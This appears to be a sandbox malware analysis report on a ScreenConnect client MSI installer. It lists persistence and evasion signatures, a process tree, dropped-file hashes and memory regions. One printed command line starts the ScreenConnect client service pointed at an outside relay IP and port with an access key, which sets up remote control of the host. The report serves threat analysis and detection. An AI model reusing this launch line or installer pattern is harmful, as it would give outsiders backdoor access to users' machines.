Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/04/2026, 12:25

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 13.1MB
  • Sample260417-pllvsady4k
  • SHA256 53ded9999508b3000ffaf1af6c6bc46f74bb6afe30b91027cbb8a14f65793fdb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3584
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3356
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 44567A2E46AD6DE83AD77BCE21960795 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI952.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240650796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2464
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:852
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 814DDF9DF16E71915E24EF47A4CFC86C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1040
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D975FC9A715E6EF70EBE4C995657F9A0 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:540
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1424
    • C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=184.174.20.150&p=8041&s=78dd0925-4dac-4b44-aa39-7b38d5f85d3b&k=BgIAAACkAABSU0ExAAgAAAEAAQAhy1P0nDpUhYdGP3wyV7dKZyRInH%2b6zYdqZHCa%2buY788eqonQBe7UwQJUuFmE1KJkgf77FjpUL0gqkSmtPlieTQTfx4dE3ixY4NpPXFMGVDDJQdkSsQvHGd6fxM1vlP0TMm40QEp%2fzk2hihWwqcW8nmbNsZY%2b2jIQWOEEagz2e1us1WkwlHEB114N8Jc4h%2bXKlRD%2bS1HR9iyd638hpGqkCgn2HF3NHoIoG%2buxaTq1n2Zh9owEy%2bPEBZge8i4EoMOWAI74zvLqvLqYc7zxYeRD9KePpDsIL9XwVNZHhzbJ8uAVBr9Ccn3FwH3oX1gl79RHdQ9T5NKclV7TlUcmxmYCq&c=bat&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4740
      • C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe" "RunRole" "234458a9-b6f8-4c5c-bd67-d314226c1204" "User"
        2⤵
        • Executes dropped EXE
        PID:2568
      • C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe" "RunRole" "4a078b5b-0ce7-4199-b48c-7e7b2e367a27" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4312

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e583a17.rbs

          • Path C:\Config.Msi\e583a17.rbs
          • Size 214KB
          • SHA256 966a34c10a028e4d7b60b1c1b6801a94aa50c18aee790024132c7e228552042e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.Override.resources
          • Size 110KB
          • SHA256 d872e6ce8aa1c3452f1c7f3c070858b5116797c4f2319221c20228d2ad3d9bcb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\app.config
          • Size 960B
          • SHA256 bb676c6b377a4c2386857627f61daab405e2539a745af60ae02b3cb5831c9136
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1da6c5f2da826dee)\system.config
          • Size 936B
          • SHA256 9c925b9c79a0190ac5f491bec93f960849306a67e341b9ff383cc22577e05236
          • MD5 SHA1 SHA512 TLSH

          MSI952.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI952.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI952.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI952.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI952.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI952.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI3B9E.tmp

          • Path C:\Windows\Installer\MSI3B9E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e583a16.msi

          • Path C:\Windows\Installer\e583a16.msi
          • Size 13.1MB
          • SHA256 53ded9999508b3000ffaf1af6c6bc46f74bb6afe30b91027cbb8a14f65793fdb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 6048d9b3b64ed0f621d1e0a64f19c719997d13e19844607e17d93fb5b9dd940b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {7adcc140-4d9e-4410-9653-736c35f57aa2}_OnDiskSnapshotProp

          • Path \??\Volume{a37a13d3-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{7adcc140-4d9e-4410-9653-736c35f57aa2}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 d3154d1ebe71276a8c8b995a6c15ce08098199d61db60d193c34ea7f5fd3d8bc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/852-130-0x000001E30F2B0000-0x000001E30F39A000-memory.dmp

          memory/2464-31-0x00000000061F0000-0x0000000006796000-memory.dmp

          memory/2464-30-0x0000000005A90000-0x0000000005C3C000-memory.dmp

          memory/2464-26-0x0000000005850000-0x00000000058DE000-memory.dmp

          memory/2464-22-0x0000000005740000-0x000000000574A000-memory.dmp

          memory/2464-18-0x0000000005700000-0x000000000572E000-memory.dmp

          memory/2568-123-0x0000000002A10000-0x0000000002A46000-memory.dmp

          memory/2568-128-0x0000000002B80000-0x0000000002B98000-memory.dmp

          memory/2568-137-0x000000001BD30000-0x000000001BE1A000-memory.dmp

          memory/2568-136-0x00000000010D0000-0x00000000010DC000-memory.dmp

          memory/2568-127-0x00000000029E0000-0x00000000029F8000-memory.dmp

          memory/2568-122-0x0000000000950000-0x00000000009E8000-memory.dmp

          memory/2568-124-0x000000001B940000-0x000000001B9CE000-memory.dmp

          memory/2568-125-0x000000001BB80000-0x000000001BD2C000-memory.dmp

          memory/2568-126-0x000000001BEC0000-0x000000001C048000-memory.dmp

          memory/3356-134-0x0000018A81DE0000-0x0000018A81ECA000-memory.dmp

          memory/3584-111-0x000001C27B5A0000-0x000001C27B68A000-memory.dmp

          memory/3584-39-0x000001C27B5A0000-0x000001C27B68A000-memory.dmp

          memory/4312-133-0x000000001BD80000-0x000000001BE6A000-memory.dmp

          memory/4312-132-0x0000000000E40000-0x0000000000E4C000-memory.dmp

          memory/4740-79-0x0000000003FC0000-0x0000000003FD8000-memory.dmp

          memory/4740-100-0x0000000004380000-0x00000000043D0000-memory.dmp

          memory/4740-106-0x00000000046C0000-0x0000000004752000-memory.dmp

          memory/4740-105-0x00000000043D0000-0x0000000004406000-memory.dmp

          memory/4740-135-0x0000000001B10000-0x0000000001B29000-memory.dmp

          memory/4740-108-0x0000000004410000-0x0000000004451000-memory.dmp

          memory/4740-110-0x00000000048B0000-0x0000000004985000-memory.dmp